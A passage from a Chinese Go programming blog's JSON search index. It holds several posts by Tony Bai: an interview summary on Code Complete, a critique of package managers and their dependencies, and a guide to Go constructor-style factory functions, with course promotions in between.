并发世界的“指挥官”和“情报员”。\n为了让更多像我一样曾经困惑的 Gopher 能够彻底征服 context，我决定将我的所有思考、踩坑经验和源码洞察，浓缩成一个全新的微专栏——《Go Context 解惑：从原理到最佳实践》。\n这是一个反教条的专栏。我们不会一上来就罗列 API，而是：\n回到原点： 在第一讲，我们会坐上时光机，回到那个没有 context 的“史前时代”，亲身体会一下当年的 Gopher 们是如何在资源泄漏和丑陋代码中“挣扎”的。只有理解了“痛苦”，你才能真正 appreciate context 的价值。 系统学习： 我们会用最直观的方式，为你系统讲解 context 的核心 API 和最关键的超时与取消用法。 深入源码： 我会带你一起潜入源码，用清晰的示意图，为你揭开 context 内部那棵“树”和那条“链表”的神秘面纱，让你彻底告别“黑盒”。 实战为王： 最后，我会将所有知识沉淀为一套你可以直接打印出来贴在显示器上的**“军规”和“避坑指南”**，覆盖你在工作中 99% 的场景。 整个专栏共 4 篇精心打磨的文章，每一篇都致力于解决一个核心问题，层层递进，帮你构建一个完整、牢固的 context 知识体系。\n如果你也曾对 context 感到迷茫；\n如果你渴望提升自己编写健壮并发程序的能力；\n如果你想在技术深度上，与身边的同事拉开差距…\n那么，这个专栏就是为你量身打造的。\n现在就订阅吧。一次投资，让你彻底告别对 context 的恐惧。\n点击此链接或扫描二维码，立即加入我们，一起征服 Go Context！\n期待在专栏里，与你一同解惑，共同进步。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/15/go-context-column/","summary":"\u003ch1 id=\"contextgo-语言的天问你真的懂了吗---tony-bai\"\u003econtext：Go 语言的“天问”，你真的懂了吗？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"context：Go 语言的“天问”，你真的懂了吗？"},{"content":"软件工程的永恒法则：《代码大全》作者访谈给我们的三大启示 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n软件工程的永恒法则：《代码大全》作者访谈给我们的三大启示 九月 14, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/14/code-complete-with-steve-mcconnell\n大家好，我是Tony Bai。\n二十年前，Steve McConnell 的《代码大全》(Code Complete 2nd) 以其近 900 页的体量，成为软件工程领域一座难以逾越的丰碑。二十年后，它依然是无数工程师书架上的必备经典。在一场深度的访谈(https://www.youtube.com/watch?v=iPKmcLxuS_A)中，McConnell分享了这部巨著背后的故事、对职业发展的深刻洞见，以及对 AI 时代的冷静思考。\n尽管技术浪潮已更迭数代，但 McConnell 的核心思想依然闪耀着永恒的光芒。我从中提炼出三大“启示”，它们穿越了语言和工具的变迁，直指软件开发的本质，为每一位追求卓越的工程师提供了清晰的行动指南。\n启示一：“软件构建”远不止编码，它是专业性的基石 访谈中，McConnell 反复强调一个核心概念：他所著述的领域是**“软件构建” (Software Construction)，而这远不止我们通常理解的“编码” (Coding)**。这是一个至关重要的区分，是从业余爱好者迈向专业工程师的第一道分水岭。\n软件构建是一个广阔的领域，它涵盖了详细设计、编码、调试、测试集成、可读性与长期维护等一系列与代码紧密相关的活动。\n在 McConnell 看来，只关注“编码”的工程师，如同只知道砌砖的建筑工人；而懂得“软件构建”的工程师，则是在思考整面墙的结构、承重与美学。\n这意味着，在你编写每一行代码之前和之后，都需要思考：\n设计：这个函数或类的内部结构是否清晰、易于理解？ 验证：我将如何测试这段代码，以确保它的正确性？ 可读性：几个月后，我自己或同事还能轻松读懂这段代码吗？ 维护性：我的实现是否为未来的修改和扩展留下了空间？ 这个启示提醒我们，卓越的软件并非代码的堆砌，而是深思熟虑的“构建”过程的产物。\n启示二：战略性构建你的生涯，而非随机“跳荷叶” 在访谈最发人深省的部分，McConnell 分享了他对抗职业生涯随机性的强大心智模型：“职业金字塔” (Career Pyramid) vs. “跳荷叶” (Lily Pad Hopping)。\n“跳荷叶”：工程师们从一个项目跳到另一个项目，看似在不断学习新技术、接触新业务，但这些经历是零散的、不连贯的。年复一年，知识面变广了，但核心价值并未实现质的飞跃，因为这些努力“没有累积成任何东西”。\n“职业金字塔”：这是一种战略性思维。将职业生涯视为一座需要亲手建造的金字塔，每一次选择——无论是学习一门技术，还是参与一个项目——都是在为这座金字塔添砖加瓦。所有努力都服务于一个长远目标，层层叠加，最终形成一个深厚、独特且极具价值的能力体系。\n这个启示提醒我们要时常自省，有意识地规划你的成长路径，让每一次努力都成为你“职业金字塔”的一部分。\n我当前的工作，是在随机跳向下一片看似新奇的荷叶，还是在为我的金字塔奠定坚实的基础？ 我应该学习什么，才能让我的能力体系更加稳固和高耸？ McConnell 给出了一个终极评判标准：“这个选择，能让我对我的组织或整个世界变得更有价值吗？” 启示三：AI 时代，工程师的终极价值是追求“完全正确” 面对 AI 能快速生成代码的现实，McConnell 并未表现出焦虑，反而给出了一个极其深刻的洞见，精准地定义了人类工程师在未来的核心价值。\n他引用了 Fred Brooks 的“本质复杂性” (Essential Complexity) 概念，指出软件工程的真正挑战，在于处理由真实世界的混乱所带来的无数异常和边界情况。\n“编程，我们不能做到‘近似正确’ (approximately right)，我们必须做到‘完全正确’ (exactly right)。”\nAI 或许能高效地处理“近似正确”的部分——即生成“快乐路径” (Happy Path) 的代码。但这恰恰凸显了人类工程师的价值。\n这意味着工程师的角色正在演进，目标是成为“完全正确”的最终守护者，具体来说，我们要：\n从代码的创作者，到质量的审查者：我们的核心职责，是审查 AI 生成的代码，并用我们的经验和洞察力，去发现并修复其中所有微妙的、潜在的错误。 从执行者，到需求的诠释者：将模糊的业务需求，转化为精确、无歧义、能够指导 AI 的技术规格，这本身就是一种不可替代的高级智力活动。 从实现细节，到系统思考：将精力更多地投入到更高层次的“构建”活动中——架构设计、模块划分、API 契约定义，以及对系统长期健康度的深思熟虑。 小结 McConnell 的访谈如同一座灯塔，为在技术浪潮中航行的我们指明了方向。这三大启示——将编码提升为构建，将工作升华为事业，将价值定位于正确。无论工具如何演变，对质量的追求、对成长的规划、对责任的担当，将永远是定义一位卓越工程师的真正标尺。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/14/code-complete-with-steve-mcconnell/","summary":"\u003ch1 id=\"软件工程的永恒法则代码大全作者访谈给我们的三大启示---tony-bai\"\u003e软件工程的永恒法则：《代码大全》作者访谈给我们的三大启示 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"软件工程的永恒法则：《代码大全》作者访谈给我们的三大启示"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/13/package-managers-are-evil\n大家好，我是Tony Bai。\n“包管理器是万恶之源 (Package Managers are Evil)。”\n这句石破天惊的论断，出自Odin语言的创造者Ginger Bill最近发表的一篇博文。在一个npm install、pip install、go get已经成为开发者肌肉记忆的时代，这无异于一篇挑战整个现代软件开发基石的“檄文”。\n对于我们这些深度依赖go mod的Gopher来说，这无疑也是一次直击灵魂的拷问。我们早已习惯了Go Modules带来的便利——它解决了版本锁定、依赖传递和可复现构建等核心问题，被公认为Go生态走向成熟的里程碑。但我们是否在享受便利的同时，也正在“自动化我们的依赖地狱”？\nGinger Bill的这篇文章并非无的放矢的抱怨，而是一次对开发者文化、信任模型和软件工程第一性原理的深刻反思。让我们直面这次拷问，并以此为镜，重新审视我们与go mod的关系。\n核心论点：包管理器是“依赖地狱的自动化” 首先，Ginger Bill做了一个关键的区分，他的矛头并非指向：\n包（Packages）: 代码组织单元。 仓库（Repositories）: 发现和存储包的地方（如GitHub）。 构建系统（Build Systems）: 编译和链接代码的工具。 他精准地将炮火对准了**包管理器（Package Managers）**的核心功能：自动化地下载、解析和处理依赖关系。\n他认为，这正是问题的根源所在。**“依赖地狱”（Dependency Hell）**是一个真实存在的、困扰着所有大型项目的难题——成千上万个你并不真正了解的传递依赖，版本冲突、潛在的bug、未知的安全漏洞，共同构成了一个巨大的泥潭。\n而包管理器的作用，就是**“将这个通往地狱的过程自动化了”**。\n他辛辣地指出：“不是所有能被自动化的东西，都应该被自动化，尤其是依赖地狱。”\n他的核心观点是，npm install或go get这种一键式的便利，剥夺了开发者一个至关重要的环节：思考。\n“当你必须手动下载和集成一个库时，你会开始思考：‘我也许并不需要这个’，或者‘我可以用别的方式来实现’。当需要更新时，手动操作会迫使你变得非常小心。”\n这种被刻意放慢的、充满“摩擦力”的过程，迫使开发者去审视每一个引入的依赖，将其视为一个严肃的决策，而不是一次随意的命令行敲击。\nGo的悖论：一个“幸免于难”的生态？ 有趣的是，在Ginger Bill的批判中，Go被作为一个相对正面的例子提及。他观察到，即便Go拥有一个内置的包管理器，但大多数Go开发者似乎并不需要引入大量的第三方包。\n“通往地狱的入口似乎又远又难走。”\n为什么Go生态在一定程度上抵御了其他生态（如JavaScript）中那种失控的依赖爆炸？答案在于Go语言的设计哲学：“自带电池”（Batteries Included）。\nGo拥有一个极其强大和全面的标准库。你想构建一个高性能的Web服务器？net/http就在那里。你需要处理JSON、加密、模板或者并发？标准库为你提供了一流的、经过实战检验的工具。你甚至可以在标准库里找到一个完整的Go编译器。\n这种设计极大地降低了对外部微小、功能单一的“工具包”的依赖。当标准库就能满足80%的需求时，开发者自然不会像在其他生态中那样，为了实现一个最基本的功能（比如left-pad）就去引入一个外部依赖。\n然而，这并不意味着Go开发者可以高枕无忧。go mod依然是一个强大的自动化工具，当我们开始引入大型框架（如Gin、GORM）或复杂的SDK时，我们同样面临着瞬间引入数十甚至上百个传递依赖的风险。\n每一个依赖，都是你签下的一份“责任状” 文章中最深刻的观点之一，是对“依赖”一词含义的重新诠释。\n“在现实生活中，当你有一个依赖时，你要对它负责。如果你的孩子或你的公司做错了事，你可能会因此进监狱。包依赖与此相去不远，但人们却在几乎没有任何验证的情况下就信任了它们。”\n每一个go get下来的包，都是一份你自愿承担的负债。你不仅要为它的安全漏洞负责，还要为它的bug、为它未来可能停止维护的风险负责。\n作者以他自己使用著名C库SDL2的痛苦经历为例。尽管SDL2被数百万人使用，但他的团队却不断踩到其中的bug，最终决定自己从头编写窗口和输入处理系统。“至少这是我们自己的代码，当出问题时我们可以依赖和修复它。”\n“我不是在提倡一切都从头造轮子，” 作者澄清道，“我只是希望我们能认识到，每一个依赖都是一份负债。”\n文化反思：程序员世界里的“盖尔曼遗忘效应” 为什么我们会如此轻易地信任来自互联网的随机代码？文章引用了ThePrimeagen的一个精彩论点：编程界的“盖尔曼遗忘效应”（Gell-Mann Amnesia Effect）。\n这个效应描述了一种现象：当你在报纸上读到一篇关于你所精通领域的文章时（比如马术），你会发现其中充满了错误和误解。然后，你翻到下一页，读到一篇关于你不了解的领域（比如JavaScript）的文章，你又会理所当然地认为它是完全正确的。你瞬间忘记了刚刚才亲身验证过的、媒体的不可靠性。\n程序员也存在同样的问题：\n“你会发现工程师们一边说‘我的一些同事太可怕了’，一边又说‘嘿，让我从网上下载这个库，这肯定很棒’。他们看着自己公司三分之一的员工无法写出像样的代码，同时又选择信任他们下载的每一个开源包。”\n我们对自己身边代码的质量持怀疑态度，却对那些由“开源大神”（他们可能和我们糟糕的同事是同一水平）编写的代码抱有不切实际的、过高的信任。\n小结：给Gopher的启示——如何与go mod共存？ Ginger Bill的结论是激进的：如果可能，应该避免使用包管理器。对于大多数在团队中工作的Go开发者来说，这显然是不现实的。go mod是Go生态协作的基石，我们不可能回到手动管理依赖的蛮荒时代。\n然而，这篇文章的价值不在于它的结论，而在于它提出的哲学框架。它像一面镜子，让我们反思我们与go mod的关系。我们可以从中提炼出几条适用于Gopher的行动指南：\n将go get视为一个严肃的架构决策：在引入任何新的依赖之前，进行尽职调查。检查它的代码质量、社区活跃度、issue列表和维护状态，虽然这会给你带来不小的额外工作量。 永远优先选择标准库：在寻求外部解决方案之前，先问自己：“这个问题，std库里真的没有解决方案吗？” 往往答案是有的，只是需要你多花一点时间去挖掘。 适当优先地拥抱代码生成，而非黑盒框架：在某些场景下，使用代码生成工具（如sqlc）可能比引入一个庞大的ORM框架（它会带来一整套复杂的依赖和抽象）更“简单”，因为它产出的是你可以直接阅读和控制的代码。 定期审计你的依赖树：使用go mod graph和go list -m all来审视你的项目究竟依赖了什么。对于那些不再需要，或者有更好替代品的依赖，要勇于清理。别忘了Go Proverbs中的那一条：A little copying is better than a little dependency。 Go的“自带电池”哲学给了我们一个得天独厚的优势，让我们能更容易地践行“少即是多”的依赖管理原则。最好的包管理器，或许就是那个你用得最少的。 而go mod的真正强大之处，可能不在于它能多么轻易地帮我们添加依赖，而在于它通过一个强大的标准库，让我们在很多时候，根本无需想起它。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/13/package-managers-are-evil/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/package-managers-are-evil-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/13/package-managers-are-evil\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/13/package-managers-are-evil\"\u003ehttps://tonybai.com/2025/09/13/package-managers-are-evil\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“包管理器是万恶之源 (Package Managers are Evil)。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这句石破天惊的论断，出自\u003ca href=\"https://odin-lang.org/\"\u003eOdin语言\u003c/a\u003e的创造者\u003ca href=\"https://www.gingerbill.org/article/2025/09/08/package-managers-are-evil/\"\u003eGinger Bill最近发表的一篇博文\u003c/a\u003e。在一个npm install、pip install、go get已经成为开发者肌肉记忆的时代，这无异于一篇挑战整个现代软件开发基石的“檄文”。\u003c/p\u003e","title":"“包管理器是万恶之源”：一次来自Odin语言作者的灵魂拷问"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/12/go-constructor-pattern-guide\n大家好，我是Tony Bai。\nGo 语言的设计哲学崇尚简约与直白(straightforward)。其中，结构体字面量 (Struct Literal) 的存在，让我们可以用极其简单的方式创建数据结构。然而，在构建大型、复杂的系统时，这种简单性也可能成为一把双刃剑。当一个对象的创建需要满足特定前置条件、执行复杂初始化或强制执行业务规则时，我们便需要一个更强大、更可控的工具。\n这个工具，就是 Go 语言中地道 (Idiomatic) 且被广泛采用的**“构造模式”**，通常以工厂函数(New或NewXXX)的形式出现。\n在本文中，我们就来系统性地说明一下Go语言构造模式的必要性、核心应用场景，并探讨其在实践中的关键决策点，如指针与值的选择。\nGo 的“构造模式”：一个约定俗成的工厂函数 首先，我们必须明确一个基本事实：Go 语言在语法层面并没有内置“构造函数” (Constructor) 的概念。它不像许多面向对象语言那样，拥有在实例化时被自动调用的特殊方法。在 Go 的世界里，我们通过一种广为流传且极为有效的设计模式来达到同样的目的。\n这个模式就是遵循 New… 命名约定的工厂函数 (Factory Function)。它的核心职责是封装创建逻辑，并返回一个特定类型的、立即可用的实例。让我们通过一个具体的例子，来看看这个模式在代码中是如何体现的。\n// 这不是语言特性，而是一个遵循“构造模式”的工厂函数 func NewUser(name string, age int) (*User, error) { if age \u0026lt; 18 { return nil, errors.New(\u0026#34;user must be at least 18 years old\u0026#34;) } return \u0026amp;User{ Name: name, Age: age, }, nil } 或更符合Go惯例的不带error返回值的形式： func NewUser(name string, age int) *User { if age \u0026lt; 18 { return nil } return \u0026amp;User{ Name: name, Age: age, } } 这个 NewUser 函数完美地诠释了构造模式的核心思想：\n封装验证逻辑：函数首先检查 age 是否满足业务规则（大于等于18岁）。 明确的失败路径：如果验证失败，它会返回一个 nil 指针。如果带了error返回值，则返回一个描述性的 error，清晰地告知调用者创建失败。 成功的实例创建：只有当所有条件都满足时，它才会创建一个 User 实例的指针并返回，确保调用者得到的永远是一个有效的对象。 通过这种方式，工厂函数为类型的创建提供了一个受控且可预测的入口。它并非语言的强制要求，而是一种强大的工程实践，是开发者工具箱中用于提升代码健壮性的关键一环。\n构造模式的威力：何时必须使用工厂函数？ 既然我们已经明确了构造模式的本质——一个约定俗成的工厂函数——一个自然而然的问题便浮现出来：我们为什么需要它？Go 语言简洁的结构体字面量 User{…} 看似已经足够，为何要增加一个函数层来封装创建过程呢？\n答案在于，当简单性不足以应对现实世界的复杂性时，构造模式便显示出其不可替代的威力。本节将深入探讨几个关键场景，在这些场景中，采用工厂函数不仅是推荐的，甚至是必需的。\n1. 当类型的“零值”无效或不足时 Go 的零值机制确保了变量总处于一个已知的初始状态。然而，一个类型的零值（例如 User{Name: “”, Age: 0}）在业务逻辑上未必是有效的。工厂函数确保了任何被创建的实例，其初始状态都是经过深思熟虑且完全合法的。\n2. 强制执行不变量与业务规则 这是构造模式最核心的价值所在。它提供了一个无法被绕过的入口，用于执行验证逻辑，从而保护一个类型的不变量（Invariants）。\n// 构造一个有界计数器 func NewBoundedCounter(limit int) (*BoundedCounter, error) { if limit \u0026lt;= 0 { return nil, errors.New(\u0026#34;limit must be a positive number\u0026#34;) } return \u0026amp;BoundedCounter{limit: limit}, nil } 或 func NewBoundedCounter(limit int) *BoundedCounter { if limit \u0026lt;= 0 { return nil } return \u0026amp;BoundedCounter{limit: limit} } 通过这种方式，你从根本上杜绝了创建一个拥有无效边界的计数器的可能性。\n3. 封装复杂的初始化过程 当一个结构体的创建需要注入依赖、初始化内部的 map 或 chan、或执行任何非平凡的设置步骤时，工厂函数可以将这些复杂性对调用者完全隐藏。\nfunc NewAPIService(db *sql.DB, logger *log.Logger) *APIService { return \u0026amp;APIService{ db: db, logger: logger, cache: make(map[string]cacheEntry), // 封装内部 map 的初始化 } } 4. 设计稳定且可演进的 API 如果一个包导出的结构体允许用户通过字面量进行初始化，那么该结构体的任何字段变更（增、删、改）都将成为破坏性改动。而通过工厂函数返回实例，则可以将结构体的内部实现与客户端代码解耦。你可以自由地演进你的数据结构，只要工厂函数的签名保持稳定。\n5. 管理依赖并实现可测试性 (接收接口，返回结构体) 也许构造模式最强大的能力，体现在它作为实践 Go 语言核心设计原则——“接收接口，返回结构体”——的天然舞台。\n一个设计良好的组件不应依赖于具体的实现，而应依赖于抽象（接口）。工厂函数正是实现这种依赖注入 (Dependency Injection) 的理想场所。\n考虑一个与数据库和日志记录器交互的 APIService。一个紧耦合的设计会直接依赖具体类型：\n// 紧耦合的设计，测试困难 func NewAPIService(db *sql.DB, logger *log.Logger) *APIService { ... } 这种设计在单元测试中会迫使我们创建真实的数据库连接，使测试变得缓慢且脆弱。\n通过让工厂函数接收接口，我们可以彻底解耦：\n// 定义依赖的接口 type Datastore interface { GetUser(id int) (User, error) } type Logger interface { Info(msg string) } // APIService 依赖于接口 type APIService struct { db Datastore logger Logger } // 工厂函数接收接口作为参数，返回具体结构体 func NewAPIService(db Datastore, logger Logger) *APIService { return \u0026amp;APIService{db: db, logger: logger} } 这一重构带来了巨大的好处：在测试中，我们可以轻易地传入一个“模拟” (mock) 的 Datastore 实现，从而将 APIService 的业务逻辑与底层数据库完全隔离。\n同时，函数返回一个具体的结构体 (*APIService)，确保了调用者能够访问到该类型提供的全部公开功能，避免了因返回接口而造成的“过早抽象”。\nTip：若想强制用户必须使用工厂函数，只需在结构体中添加一个私有字段 (unexported field)。这样，其他包将无法使用结构体字面量来创建一个“业务层面逻辑有效”的该类型的实例。\n关键决策：返回指针 (*T) 还是值 (T)？ 一旦我们确信在特定场景下需要使用工厂函数，设计的焦点便会转移到一个更为具体且至关重要的问题上：这个函数应该返回一个指针 (*T)，还\u0026gt;是一个值 (T)？\n这并非一个随意的语法选择，而是对性能、内存模型和程序语义的权衡。接下来的内容中，我们将剖析这两种返回方式的利弊，并为你提供清晰的决策指南。\n何时返回指针 (*T)？ 当函数返回一个指针时，Go 的编译器会通过逃逸分析 (Escape Analysis) 识别出该实例需要在函数外部继续存在，因此会将其分配在堆 (Heap) 上。\n选择返回指针的核心理由：\n避免大结构体复制：当结构体非常大时，在函数间传递一个指针（一个内存地址）的成本远低于复制整个结构体。这是最重要的性能考量之一。 实现共享与可变性：如果你期望函数返回的实例可以在程序的不同部分被共享和修改，指针是唯一的选择。 结构体包含不可复制类型：若结构体包含如 sync.Mutex 或 os.File 等字段，它必须通过指针传递，以确保所有操作都作用于同一个实例。对这类结构体的值进行复制，通常会导致程序错误。 遵循接口约定：在 Go 中，通常是指针类型 (*T) 来实现接口。因此，返回接口的工厂函数自然也应返回指针。 何时返回值 (T)？ 当函数返回一个值，且该值未发生逃逸时，它会被分配在栈 (Stack) 上，然后复制给调用方。\n选择返回值的核心理由：\n小型、简单的值类型：对于只包含几个基本类型的微小结构体，复制成本极低。 降低垃圾回收 (GC) 压力：栈上分配由编译器自动管理，生命周期短暂，无需 GC 介入。在性能极其敏感的热点代码路径上，优先使用栈分配是重要的优化手段。 促进不变性 (Immutability)：返回一个值的副本，意味着调用者对该副本的任何修改都不会影响到其他部分，这使得代码的行为更加可预测，减少了意外的副作用。 默认情况下，对于小型的、类似值的结构体，优先返回值。对于大型结构体、需要被修改的实体，或包含不可复制字段的类型，则应返回指针。\n进阶用法：用指针字段表示“可选性” 我们对指针的探讨，主要集中在它作为函数返回值的角色上，以决定实例的内存分配和共享方式。然而，指针的威力并不仅限于此。在结构体内部，指针同样扮演着一个精妙而关键的角色：表达“可选性” (Optionality)。它为我们提供了一种区分**“零值”与“未提供”**的优雅机制。\n一个 int 字段的零值是 0，而一个 *int 字段的零值是 nil。\n在很多业务场景中，0 是一个完全有效的数值（例如，库存数量为 0），但我们可能还需要表达“这个值尚未设置”或“此项不适用”的语义。此时，一个 nil 指针便完美地传达了“缺失”的概念。\n这在处理来自数据库的 NULL 值或 JSON API 中的可选字段时尤为重要。\n考虑一个用于更新用户部分信息的 PATCH 请求，我们可能只想更新用户的昵称，而不触及其年龄；或者，我们想将用户的积分明确设置为 0。\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) // UpdateUserPayload 定义了更新用户信息的请求体 // 使用指针类型来表示可选字段 type UpdateUserPayload struct { Nickname *string json:\u0026#34;nickname,omitempty\u0026#34; Score *int json:\u0026#34;score,omitempty\u0026#34; } func main() { // 场景一：只更新用户的昵称 newNickname := \u0026#34;Gopher\u0026#34; payload1 := UpdateUserPayload{ Nickname: \u0026amp;newNickname, // Score 字段为 nil } json1, _ := json.Marshal(payload1) fmt.Println(string(json1)) // 输出: {\u0026#34;nickname\u0026#34;:\u0026#34;Gopher\u0026#34;} // 场景二：只将用户的积分明确更新为 0 newScore := 0 payload2 := UpdateUserPayload{ Score: \u0026amp;newScore, // Nickname 字段为 nil } json2, _ := json.Marshal(payload2) fmt.Println(string(json2)) // 输出: {\u0026#34;score\u0026#34;:0} } 在这个例子中：\n*string 和 *int 结合 json:”,omitempty” 标签，创造了强大的表达能力。 在场景一中，由于 Score 字段是 nil，它在 JSON 序列化时被完全忽略了。API 的接收端可以据此判断：客户端只想修改 Nickname，对 Score 不做任何操作。 在场景二中，我们明确地提供了一个指向 0 的指针。这使得 score 字段在 JSON 中真实地出现，并赋值为 0。API 接收端会明白：客户端的意图是将 Score 更新为 0，而不是不提供这个值。 通过这个模式，我们完美地解决了“更新为空字符串”与“不更新该字段”、“更新为0”与“不更新该字段”之间的语义模糊问题，让 API 的设计更加精确和健壮。\n小结：拥抱 Go 的务实与平衡 Go 语言在结构体初始化上提供了从极简到极严谨的选择。结构体字面量是其简约哲学的体现，而 New(…) 工厂模式则是其务实工程思想的结晶。\n精通构造模式，意味着你理解了何时需要超越简单的零值和字面量，为你的代码构建起一道保护其核心逻辑与业务规则的坚固屏障。在你的下一个项目中，当遇到一个需要保证初始状态合法性的类型时，请毫不犹豫地为其设计一个清晰、健壮的工厂函数吧。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/12/go-constructor-pattern-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-constructor-pattern-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/12/go-constructor-pattern-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/12/go-constructor-pattern-guide\"\u003ehttps://tonybai.com/2025/09/12/go-constructor-pattern-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的设计哲学崇尚简约与直白(straightforward)。其中，结构体字面量 (Struct Literal) 的存在，让我们可以用极其简单的方式创建数据结构。然而，在构建大型、复杂的系统时，这种简单性也可能成为一把双刃剑。当一个对象的创建需要满足特定前置条件、执行复杂初始化或强制执行业务规则时，我们便需要一个更强大、更可控的工具。\u003c/p\u003e","title":"超越零值：Go 语言“构造模式”深度指南"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/11/microsoft-is-getting-rusty\n大家好，我是Tony Bai。\n近日，微软 